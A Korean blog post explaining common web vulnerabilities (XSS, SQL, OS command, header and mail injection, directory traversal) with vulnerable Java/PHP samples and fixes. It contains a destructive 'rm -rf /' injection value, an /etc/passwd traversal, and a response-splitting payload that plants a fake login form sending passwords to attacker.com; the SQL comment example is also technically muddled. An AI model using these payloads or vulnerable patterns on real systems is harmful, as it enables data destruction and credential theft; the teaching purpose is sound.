Post

웹 애플리케이션 보안 취약점 및 대응 방법

HTTP 프로토콜 자체는 복잡하지 않기 때문에 프로토콜 자체로 공격 대상이 되는 경우는 없습니다. 반면에 웹 애플리케이션은 인증, 세션 관리 등의 기능을 개발자가 직접 설계하고 구현하기 때문에 취약성이 발견되는 경우가 많습니다. HTTP 요청에 공격 코드를 실어서 실행되는 경우를 예로 들 수 있습니다.

그렇다면 보안 체크를 클라이언트 측에서 해도 괜찮을까요? 그렇지 않습니다. 클라이언트의 요청은 쉽게 변조하거나 무효화시킬 수 있기 때문에 근본적인 보안 대책으로는 적합하지 않습니다. 따라서 클라이언트측에서는 입력 실수를 지적해주는 정도로 사용하고, 실질적인 보안 처리는 백엔드에서 처리하는게 좋습니다.

🔍 크로스 사이트 스크립팅 (XSS)

공격자가 악성 스크립트를 웹 애플리케이션에 삽입하여 사용자 브라우저에서 실행되도록 하는 보안 취약점

  1. 공격자가 게시글을 작성할 때 다음과 같은 코드 입력. <script>alert('XSS Attack!');</script>
  2. 사용자가 해당 게시글에 접속할 때 마다 경고창 팝업이 발생.

🔍 SQL Injection

공격자에 의해 개발자가 의도하지 않는 형태로 SQL 문장이 변경되어 구조가 파괴되는 보안 취약점

게시글을 검색하는 기능이 있다고 할 때 ‘bearsu’를 검색하면 URL과 SQL 쿼리가 다음과 같다고 해보겠습니다.

1
2
3
http://bearsu.com/search?q=bearsu

SELECT title FROM article WHERE author='bearsu' and deleted=false;

키워드에 --를 추가하면 이후의 쿼리 문은 주석 처리가 됩니다.

1
2
3
4
http://bearsu.com/search?q=bearsu--

// and이후로 모두 주석 처리된다.
SELECT title FROM article WHERE author='bearsu--' and deleted=false;

🔍 OS 커맨드 인젝션

웹 애플리케이션을 경유하여 운영체제 명령어를 실행할 수 있도록 하는 보안 취약점

다음은 사용자로부터 파일 이름을 입력받아 파일 내용을 출력하는 자바 코드입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class CommandInjectionExample {
    public static void main(String[] args) {
        try {
            String filename = args[0]; // 사용자 입력
            String command = "cat " + filename;
            Process process = Runtime.getRuntime().exec(command);

            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

만약 사용자가 다음과 같은 입력을 하면 모든 파일이 삭제될 수 있습니다.

1
"; rm -rf /"

이를 방어하기 위해서 사용자 입력을 직접 명령어에 포함시키지 말아야 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;

public class CommandInjectionPreventionExample {
    public static void main(String[] args) {

        try {
            String filename = args[0];
            // 사용자 입력 검증
            if (!filename.matches("[a-zA-Z0-9._-]+")) {
                System.out.println("Invalid filename. Only alphanumeric characters, dots, underscores, and hyphens are allowed.");
                return;
            }

            // 안전한 방식으로 명령어 실행
            File file = new File(filename);
            if (!file.exists()) {
                System.out.println("File does not exist.");
                return;
            }

            ProcessBuilder processBuilder = new ProcessBuilder("cat", filename);
            Process process = processBuilder.start();

            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

🔍 HTTP Header Injection

HTTP 요청 또는 응답 헤더에 악성 코드를 삽입하여 웹 애플리케이션의 동작을 변경하거나 공격을 수행하는 보안 취약점

다음 코드는 user 파라미터를 그대로 HTTP 응답 헤더에 설정하고 있습니다. 만약 공격자가 user 파라미터에 악의적인 값을 삽입하면 헤더 인젝션이 발생할 수 있습니다.

1
2
3
4
5
6
7
8
9
public class HeaderInjectionServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        String user = request.getParameter("user");
        response.setHeader("X-User", user);
        response.getWriter().println("Header set with user: " + user);
    }
}

헤더에 임의의 값이 들어가면 어떤 문제가 일어날까요?

HTTP 응답 분할

입력된 데이터가 HTTP 응답 헤더에 포함되어 응답이 두 개의 분리된 HTTP 응답으로 처리되도록 유도하는 방법

  • 브라우저가 두 개의 응답으로 해석할 수 있으며, 이는 브라우저의 동작을 제어할 수 있게 만듭니다.

예를 들어 다음과 같은 요청을 보냈다고 해보겠습니다.

1
2
3
GET /someEndpoint HTTP/1.1 
Host: example.com 
X-User: attacker%0d%0aSet-Cookie:%20sessionId=malicious
  • %0d%0a는 URL 인코딩에서 각각 캐리지 리턴(CR)과 라인 피드(LF) 문자를 나타내며 CRLF는 헤더의 끝을 나타낸다. 즉, 서버 응답을 두 개의 분리된 응답으로 만들 수 있습니다.
  • 응답이 분할되면 브라우저는 첫 번째 응답을 처리하고, 이후에 두 번째 응답을 별도 처리합니다.

< 첫 번째 응답 >

1
2
HTTP/1.1 200 OK 
X-User: attacker

< 두 번째 응답 >

1
2
3
4
Set-Cookie: sessionId=malicious
Content-Type: text/html;charset=UTF-8

Header set with user: attacker

두 번째 응답에 악성 콘텐츠를 삽입하여 XSS 공격을 수행할 수 있습니다.

1
2
3
4
Injected-Header: InjectedValue 
Content-Type: text/html;charset=UTF-8 

<script>alert('XSS');</script>

또는 개행 문자 두 개를 나란히 보냄으로써 헤더와 바디를 나누는 빈 행을 만들어 내고 가짜 웹 페이지를 보여줄 수 있습니다.

1
2
3
4
GET /vulnerableServlet HTTP/1.1
Host: example.com
X-User: legitimateUser%0d%0aContent-Length: 0%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<html><body><h1>Login</h1><form method='POST' action='http://attacker.com/log'>Username: <input type='text' name='username'><br>Password: <input type='password' name='password'><br><input type='submit' value='Login'></form></body></html>

이를 방어하기 사용자 입력을 검증하고 인코딩하여야 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
public class SecureServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        String user = request.getHeader("X-User");
        if (user != null) {
            user = StringEscapeUtils.escapeHtml4(user).replaceAll("[\r\n]", "");
        }
        response.setHeader("X-User", user);
        response.getWriter().println("Header set with user: " + user);
    }
}

메일 헤더 인젝션

메일 헤더를 조작하기 위해 CRLF 문자를 사용합니다.

1
2
3
4
5
6
7
$to = "victim@example.com\r\nBcc: another@example.com";
$subject = "Hello";
$message = "This is a test email.";
$headers = "From: sender@example.com";

mail($to, $subject, $message, $headers);

이메일의 헤더는 아래와 같이 조작될 수 있다.

1
2
3
To: victim@example.com 
Bcc: another@example.com 
From: sender@example.com

이를 방지하기 위해 \r 또는 \n 을 포함하고 있는지 확인한 후 메일을 전송해야 한다.

자바에서는 JavaMailSender를 사용하면 메일 헤더 인젝션을 방지할 수 있으며, @Email 어노테이션을 통해 메일 형식을 검증하는 방식으로도 방지할 수 있습니다.

디렉토리 접근 공격

웹 애플리케이션의 취약점을 악용하여 서버의 파일 시스템 내에서 허가되지 않은 파일에 접근할 수 있게 하는 공격

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class VulnerableDirectoryTraversal {

    public static void main(String[] args) {
        String basePath = "/var/www/html/files"; // 베이스 디렉토리
        String userInput = "../../etc/passwd"; // 사용자 입력 파일 이름 (공격 시도)

        File file = new File(basePath, userInput);

        // 파일 내용을 읽고 출력
        try {
            String content = new String(Files.readAllBytes(Paths.get(file.getPath())));
            System.out.println(content);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

이를 방어하기 위해 사용자 입력을 검증하고 경로를 정규화하여야 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class DirectoryTraversalProtection {

    public static boolean isSafePath(String basePath, String userInput) throws IOException {
        File base = new File(basePath);
        File file = new File(base, userInput);
        String canonicalBasePath = base.getCanonicalPath();
        String canonicalFilePath = file.getCanonicalPath();

        return canonicalFilePath.startsWith(canonicalBasePath);
    }

    public static void main(String[] args) {
        String basePath = "/var/www/html/files"; // 베이스 디렉토리
        String userInput = "../../etc/passwd"; // 사용자 입력 파일 이름

        try {
            if (isSafePath(basePath, userInput)) {
                File file = new File(basePath, userInput);
                // 파일을 안전하게 처리하는 코드 작성
                System.out.println("File is safe to access: " + file.getCanonicalPath());
            } else {
                System.out.println("Unsafe file path detected!");
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

🔍 참고

This post is licensed under CC BY 4.0 by the author.

© bear-su. Some rights reserved.